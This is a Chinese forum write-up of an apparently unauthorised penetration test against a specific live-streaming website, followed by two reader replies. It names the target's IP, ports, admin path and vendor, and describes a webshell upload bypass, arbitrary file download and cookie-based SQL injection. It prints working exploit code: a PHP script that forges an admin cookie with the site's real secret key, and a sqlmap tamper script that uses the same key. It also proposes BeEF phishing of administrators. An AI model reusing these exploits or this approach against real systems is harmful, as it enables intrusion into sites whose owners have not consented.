一次黑盒加白盒的渗透测试 (一)

前言

之前一直做的开发,最近准备找个渗透测试方面的工作,恶补了一波渗透的知识。于是准备实战检验一下学习成果。

信息收集

域名信息

域名没备案,whois简单查了一下也没太多有用信息

主域名:****kj.com -- 注册商新网 -- 阿里DNS
子域名
www.****kj.com
其他域名(指向的同一IP地址)
****kn.com -- 注册商GoDaddy
****jd.org -- 注册商godaddy
****ys.org -- 注册商godaddy
****sm.com -- 注册商godaddy

****hi.com -- 203.93.124.119 -- 注册商阿里 -- HICHINA(万网)DNS
WEB信息
中间件:nginx/1.20.1
开发语言:PHP 7.4.22, Adobe Flash
PHP框架:phpdoit v2.0
CMS:BCMS
有无WAF:有,自己写的过滤。
IP信息
无CDN
IP C段:150.*.*.122-126
端口信息
C段IP 122-126
21(FTP)
22(OpenSSH 7.4 (protocol 2.0))
80(直播主站)
81(直播主站)
888(宝塔phpmyadmin默认端口)
8888(宝塔)
敏感目录
后台 admin_login/index/
敏感信息
前台高权限用户 1001
后台高权限用户 admin
公司信息
技术支持:www.bonpro.net
淄博邦诺网络科技有限公司
----
上海****集团有限公司
曾用名
**企业
#采矿业#上海市#***
法定代表人: ***【执行董事】、***【董事】
统一社会信用代码: *    *
电话:  *
邮箱: *@qq.com
地址: 上海市****

漏洞探测&漏洞利用

888的宝塔面板的未授权漏洞已测木有漏洞。

然后打开网站一眼看上去是个直播系统。

4DGA0J.md.png

XSS

右下角发现输入框测试XSS无果,没绕过去。当前网站目录上传的图片可以发送。

4rkK7F.md.png

还有一个反射的xss,尝试发现有WAF。过滤了挺多标签。
但也是很好绕,用的图片XSS成功,因为是反射的XSS没过多关注。
xxx是输入点

/error/?msg=xxx

4rAlb8.md.png

文件上传

注册账号-登录后发现有上传点

测试后发现是白名单,post的参数有一个accept: images,更改images为file后可以上传txt,rar等文件。尝试上传图片马,发现提示非法参数,把php的闭合语句?>去掉后,重新制作图片马,上传成功。

4rAqxI.md.png

虚假的sql注入

积分下有个查询发现一个虚假的sql注入,限制数字输入。

不过爆出了sql语句、绝对路径、doitphp。

4rV1hQ.png

到这里似乎陷入了僵局enmmm。miko突然想起来还有js没看。

看了眼js之后发现里面有个upload和download的url。

upload是头像内个地方的上传,也是在这个js发现的可以把images改成file。

IkIMt5.png

测试后发现是一个任意文件下载漏洞。可惜的是限制了目录只能下载当前网站目录和/tmp目录下面的文件。然后去下了套doitphp的源码,看了看doitphp的文档,下了一些php文件开始做代码审计。

代码审计

咳咳,虽然是第一次做代码审计,但是经过多次搜索引擎查询总算是掌握了一些MVC和php的知识。丢到seay代码审计工具大概跑一跑,好!测试了半天就一个能利用的点,还是自己已经发现的任意文件下载。然后开始通读代码,通过通读代码又利用任意文件下载漏洞下了一些php文件。审计到最后也就发现了几个sql注入的漏洞,和一个phpinfo。

信息泄露

后台写的直接就是一个action,所以url直接写后台的controller**(admin_index)和phpinfo的action(phpinfo)**就行了。

admin_index/phpinfo/
真实的SQL注入

Cookie没有任何过滤导致的SQL注入
虽然说没过滤但是Cookie是加密的,hhhc

后台的LoginController.php->function indexAction->$adminCookie['status']为true就代表管理员已经登录。

IkLpNr.png

这里的Configure::get是从请求头获取cookie的

getCookie是关键函数。我们继续跟。

LoginController.php继承自PublicController.php继承自Controller.php。

最终来到了doitphp的Controller.php文件。在这里发现了getCookie函数。

IkLoLC.png

这里的getCookie调用了Cookie.php的get函数,我们继续跟!

IkLB4R.png

好!这里发现会反序列化调用了Encrypt.php下的decode方法的返回结果。

我们去看下他怎么加密的。

9CJD

首先decode接受两个参数,一个是我们的Cookie一个是key,secretkey在Encrypt.php的上面定义了。
然后判断是不是key是不是null,如果是null,获取当前类的_key变量的值作为加密密钥。_
然后匹配加密的字符是否是base64的内些字符,如果不是就返回fasle。
然后base64解密我们的cookie。
然后判断_config数字的一些加密方法是否开启。开启了就进行解密。

经过查看发现就开启了这里面的三种加密就开启了noise。去看noise的加密算法!

9CJD

_config的hash写的是sha1。sha1加密key,然后把cookie和hash的每个字符转换ascii码。
加密就把每个字符相加然后再去取模256,解密就是相减然后如果相减的结果小于0就去加256
最后返回加密或者解密后的值。

然后我们就可以构造一个序列化后的数组的cookie了,但是不急!PublicController.php里面还会判断data的admin_name和admin_pass。

9CJJ

进一步跟踪发现checkAdminLogin这个函数是把我们的用户名和密码丢到数据库去查询。

sql语句的where部分写这样

'xxxxxxxx WHERE admin_name="用户名" AND admin_pass="密码"

所以我们可以构造一个万能密码的sql语句。用户名写admin或者" or ""="密码写" or ""="
这里从cookie获取的admin_pass是不会进行md5加密的。而后台输入的密码是会被加密的。

<?php
    // 加密后
    // $string = "xm9nc7SlbJhxiKqmmaSt2Fqgw5tpnahrmXNVl5ilw1Vrk29kbd3XcpZlb1ualp/LpcWlk6WVWqCrn5qbWoRVoNdZVVV0U4Ruo2xmYm2ExZzSnqOYqZOl1VmhqmxxalqHWNTTgVqEclOHdLCw";
    
    // 加密前
    // $string = serialize(array("status"=>true, "data"=>array("admin_name"=>'" or ""="', "admin_pass"=>'" or ""="')));
    $string = 'a:2:{s:6:"status";b:1;s:4:"data";a:2:{s:10:"admin_name";s:9:"" or ""="";s:10:"admin_pass";s:9:"" or ""="";}}';
    
    
    // base64解密
    // $string = base64_decode($string);
    
    $hash    = 'e559922b7f72808e8eaa8b51e93371b302523bd8';
    $hashlen = strlen($hash);
    $strlen  = strlen($string);
    $code    = '';


    // 加密
    for ($i = 0, $j = 0; $i < $strlen; ++$i, ++$j) {
        if ($j >= $hashlen) $j = 0;
        $code .= chr((ord($string[$i]) + ord($hash[$j])) % 256);
    }
    echo $string;
    echo "\n\n";
    echo base64_encode($code);

    
    // 解密
    // for ($i = 0, $j = 0; $i < $strlen; ++$i, ++$j) {
    //     if ($j >= $hashlen) $j = 0;
    //     $temp = ord($string[$i]) - ord($hash[$j]);
    //     if ($temp < 0) $temp = $temp + 256;
    //     $code .= chr($temp);
    // }
    // echo $code;
    // echo "\n\n";
    // var_dump(unserialize($code));
    
?>

将构造的后的cookie替换后成功登录后台

9CJM

后台没找到什么利用的点,太难了。两个上传点一个和前台的一样,另一个少了php文件或者说代码写错了。

半虚假的文件上传漏洞

从远程获取图片并且保存到本地。但是提示UploadController.php。这里的png可以改成php。

9CJP

调用uploadGetAction

9CJR

可以看见这边是调用UploadController里面的uploadGetAction函数。但是这个文件不存在。

然后uploadGetAction函数在哪呢,它在LibUpload.php里面躺着!

9CJQ

这个get_url_content是一个http请求,php的curl拓展,函数里面也没黑白名单。虽然下面会判断文件的扩展名在不在。不在就会提示获取文件失败。但是上面的saveFile的保存目录我们已经看见了。目录/时间_随机大小写字母(6位).php,所以可以生成6位的大小写字符去写个脚本或者用burp跑一遍文件名。就能getshell了。但是!!文件没了。虚假的文件上传。

web无从下手去写个tamper,用sqlmap跑跑数据库数据库看看能拿到啥有用的信息不。

tamper编写
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def noise(payload):
    payload_src = f'" or ""=""'+payload
    payload_se = 'a:3:{s:6:"status";b:1;s:8:"remember";N;s:4:"data";a:2:{s:7:"account";s:5:"admin";s:8:"password";s:%d:"%s";}}'
    payload = payload_se%(len(payload_src), payload_src)
    hash_ = 'e559922b7f72808e8eaa8b51e93371b302523bd8'
    hash_len = len(hash_)
    str_len = len(payload)
    code = ""
    j = 0
    for i in range(0, str_len):
        if j >= hash_len: j = 0
        code += chr((ord(payload[i]) + ord(hash_[j])) % 256)
        j += 1
    return encodeBase64(code, binary=False, encoding="latin-1")

def tamper(payload, **kwargs):
    """
    noise -> Base64-encodes all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'llxVeod2UrWDq3yCYGVhiA=='
    """

    return noise(payload) if payload else payload

跑了一下不是root权限,是一个只有USAGE权限的用户,写shell这条路也行不通了。mysql版本是5.7.34。。之前用nmap扫的端口,没扫到mysql的端口,mysql端口也是不对外开放。

到这里似乎又陷入了僵局!(信安小白的每时每刻僵局QAQ

不!值得尝试的还有很多。

比如后台的XSS,miko还没细细的去审计,可以看看有没有存储的XSS然后去用BeEF钓个鱼啥的。

还有一些php的漏洞和mysql等等的漏洞。

3 Likes

cookie伪造能不能系统的讲一下

1 Like

文章里面给出来了是如何加密的。其实就是一个xor加一个base64。
原本的cookie是一个php序列化后的字符串,然后进行xor加密(文章有写算法),加密后在进行base64编码。